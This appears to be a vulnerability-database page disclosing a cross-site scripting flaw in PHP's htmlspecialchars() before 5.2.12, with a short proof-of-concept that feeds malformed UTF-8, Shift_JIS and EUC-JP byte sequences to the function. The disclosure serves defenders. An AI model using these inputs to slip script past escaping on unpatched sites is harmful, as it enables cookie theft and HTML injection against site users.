Lucene search
K

PHP <= 5.2.11 'htmlspecialcharacters()' Malformed Multibyte Character Cross Site Scripting Vulnerability (1)

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 12 Views

PHP 'htmlspecialcharacters()' Cross Site Scripting Vulnerabilit

Code

                                                source: http://www.securityfocus.com/bid/37389/info

PHP is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

NOTE: In some configurations, attackers may exploit this issue to carry out HTML-injection attacks.

Versions prior to PHP 5.2.12 are vulnerable. 

// overlong UTF-8 sequence
echo htmlspecialchars(&#34;A\xC0\xAF&&#34;,     ENT_QUOTES, &#39;UTF-8&#39;);
// invalid Shift_JIS sequence
echo htmlspecialchars(&#34;B\x80&&#34;,         ENT_QUOTES, &#39;Shift_JIS&#39;);
echo htmlspecialchars(&#34;C\x81\x7f&&#34;,     ENT_QUOTES, &#39;Shift_JIS&#39;);
// invalid EUC-JP sequence
echo htmlspecialchars(&#34;D\x80&&#34;,         ENT_QUOTES, &#39;EUC-JP&#39;);
echo htmlspecialchars(&#34;E\xA1\xFF&&#34;,     ENT_QUOTES, &#39;EUC-JP&#39;);
echo htmlspecialchars(&#34;F\x8E\xFF&&#34;,     ENT_QUOTES, &#39;EUC-JP&#39;);
echo htmlspecialchars(&#34;G\x8F\xA1\xFF&&#34;, ENT_QUOTES, &#39;EUC-JP&#39;);

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation